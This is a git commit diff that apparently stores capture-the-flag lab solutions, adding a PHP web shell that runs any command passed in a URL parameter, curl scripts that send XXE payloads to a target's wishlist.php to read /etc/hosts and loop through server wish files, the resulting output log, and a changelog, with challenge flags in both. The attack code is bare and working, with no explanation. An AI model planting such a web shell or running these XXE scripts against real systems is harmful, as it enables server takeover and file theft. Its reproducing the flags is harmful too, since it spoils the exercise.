batman
This commit is contained in:
Sivert V. Sæther
commit
8ffc4db7a8
BIN
1/somg.mp3
Normal file
BIN
1/somg.mp3
Normal file
Binary file not shown.
BIN
1/song.mp3
Executable file
BIN
1/song.mp3
Executable file
Binary file not shown.
22
3/shell.php
Normal file
22
3/shell.php
Normal file
@ -0,0 +1,22 @@
|
|||||||
|
<html>
|
||||||
|
<style>
|
||||||
|
body {
|
||||||
|
color: lime;
|
||||||
|
background-color: #333;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
<body>
|
||||||
|
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
|
||||||
|
<input type="text" name="command" autofocus id="command" size="50">
|
||||||
|
<input type="submit" value="Execute">
|
||||||
|
</form>
|
||||||
|
<pre>
|
||||||
|
<?php
|
||||||
|
if(isset($_GET['command']))
|
||||||
|
{
|
||||||
|
system($_GET['command'] . ' 2>&1');
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
</pre>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
23
5/CHANGELOG
Normal file
23
5/CHANGELOG
Normal file
@ -0,0 +1,23 @@
|
|||||||
|
commit 3f786850e387550fdab836ed7e6dc881de23001b (HEAD -> master, origin/master, origin/HEAD)
|
||||||
|
Author: Mayor Malware - Wareville <mayor@wareville.org>
|
||||||
|
Date: Wed Dec 4 21:24:22 2024 +0200
|
||||||
|
|
||||||
|
Fixed the wishlist.php page THM{m4y0r_m4lw4r3_b4ckd00rs}
|
||||||
|
|
||||||
|
commit 89e6c98d92887913cadf06b2adb97f26cde4849b (tag: v1.0.0)
|
||||||
|
Author: Software - Wareville <software@wareville.org>
|
||||||
|
Date: Thu Dec 4 14:45:18 2024 +0200
|
||||||
|
|
||||||
|
Almost done with the wishlists page, needs to handle XML parsing
|
||||||
|
|
||||||
|
commit 2b66fd261ee5c6cfc8de7fa466bab600bcfe4f69
|
||||||
|
Author: Software - Wareville <software@wareville.org>
|
||||||
|
Date: Tue Dec 2 15:20:57 2024 +0200
|
||||||
|
|
||||||
|
Finally done with the landing page and initial CSS
|
||||||
|
|
||||||
|
commit e983f374794de9c64e3d1c1de1d490c0756eeeff
|
||||||
|
Author: Software - Wareville <software@wareville.org>
|
||||||
|
Date: Tue Dec 2 15:19:33 2024 +0200
|
||||||
|
|
||||||
|
Initial commit
|
||||||
12
5/wish.sh
Executable file
12
5/wish.sh
Executable file
@ -0,0 +1,12 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
target=`cat trgt`
|
||||||
|
curl -iH 'Content-Type: application/xml' "http://$target/wishlist.php" \
|
||||||
|
-d "<!--?xml version='1.0' ?-->
|
||||||
|
<!DOCTYPE foo [<!ENTITY payload SYSTEM '/var/www/html/wishes/wish_1.txt'> ]>
|
||||||
|
<wishlist>
|
||||||
|
<user_id>1</user_id>
|
||||||
|
<item>
|
||||||
|
<product_id>&payload;</product_id>
|
||||||
|
</item>
|
||||||
|
</wishlist>"
|
||||||
|
|
||||||
176
5/wishes.log
Normal file
176
5/wishes.log
Normal file
@ -0,0 +1,176 @@
|
|||||||
|
Trying wish_1.txt...
|
||||||
|
The product ID: Wish #1
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_2.txt...
|
||||||
|
The product ID: Wish #2
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_3.txt...
|
||||||
|
The product ID: Wish #3
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_4.txt...
|
||||||
|
The product ID: Wish #4
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_5.txt...
|
||||||
|
The product ID: Wish #5
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_6.txt...
|
||||||
|
The product ID: Wish #6
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_7.txt...
|
||||||
|
The product ID: Wish #7
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_8.txt...
|
||||||
|
The product ID: Wish #8
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_9.txt...
|
||||||
|
The product ID: Wish #9
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_10.txt...
|
||||||
|
The product ID: Wish #10
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_11.txt...
|
||||||
|
The product ID: Wish #11
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_12.txt...
|
||||||
|
The product ID: Wish #12
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_13.txt...
|
||||||
|
The product ID: Wish #13
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_14.txt...
|
||||||
|
The product ID: Wish #14
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_15.txt...
|
||||||
|
The product ID: Wish #15
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
PS: The flag is THM{Brut3f0rc1n6_mY_w4y}
|
||||||
|
is invalid.
|
||||||
|
Trying wish_16.txt...
|
||||||
|
The product ID: Wish #16
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_17.txt...
|
||||||
|
The product ID: Wish #17
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_18.txt...
|
||||||
|
The product ID: Wish #18
|
||||||
|
Name: Test
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Wareville's Jolly Cap
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_19.txt...
|
||||||
|
The product ID: Wish #19
|
||||||
|
Name: Test
|
||||||
|
Address: TEst
|
||||||
|
---------------------------------------
|
||||||
|
Product: Teddy of the Ville
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_20.txt...
|
||||||
|
The product ID: is invalid.
|
||||||
|
Trying wish_21.txt...
|
||||||
|
Failed to parse XML
|
||||||
23
5/wishes.sh
Executable file
23
5/wishes.sh
Executable file
@ -0,0 +1,23 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
target=`cat trgt`
|
||||||
|
opts="-sH 'Content-Type: application/xml'"
|
||||||
|
declare -i i=1
|
||||||
|
#i=20
|
||||||
|
while [ $i -gt 0 ]; do
|
||||||
|
echo "Trying wish_$i.txt..."
|
||||||
|
p="<!--?xml version='1.0' ?-->
|
||||||
|
<!DOCTYPE foo [<!ENTITY payload SYSTEM '/var/www/html/wishes/wish_$i.txt'> ]>
|
||||||
|
<wishlist>
|
||||||
|
<user_id>1</user_id>
|
||||||
|
<item>
|
||||||
|
<product_id>&payload;</product_id>
|
||||||
|
</item>
|
||||||
|
</wishlist>"
|
||||||
|
out=`curl $opts http://$target/wishlist.php -d "$p"`
|
||||||
|
echo "$out"
|
||||||
|
echo "$out" | grep -q 'Failed to parse XML'
|
||||||
|
[ $? -eq 0 ] && break;
|
||||||
|
sleep 1
|
||||||
|
i+=1
|
||||||
|
done
|
||||||
|
|
||||||
12
5/wishlist.sh
Executable file
12
5/wishlist.sh
Executable file
@ -0,0 +1,12 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
target=`cat trgt`
|
||||||
|
curl -iH 'Content-Type: application/xml' "http://$target/wishlist.php" \
|
||||||
|
-d '<!--?xml version="1.0" ?-->
|
||||||
|
<!DOCTYPE foo [<!ENTITY payload SYSTEM "/etc/hosts"> ]>
|
||||||
|
<wishlist>
|
||||||
|
<user_id>1</user_id>
|
||||||
|
<item>
|
||||||
|
<product_id>&payload;</product_id>
|
||||||
|
</item>
|
||||||
|
</wishlist>'
|
||||||
|
|
||||||
Loading…
x
Reference in New Issue
Block a user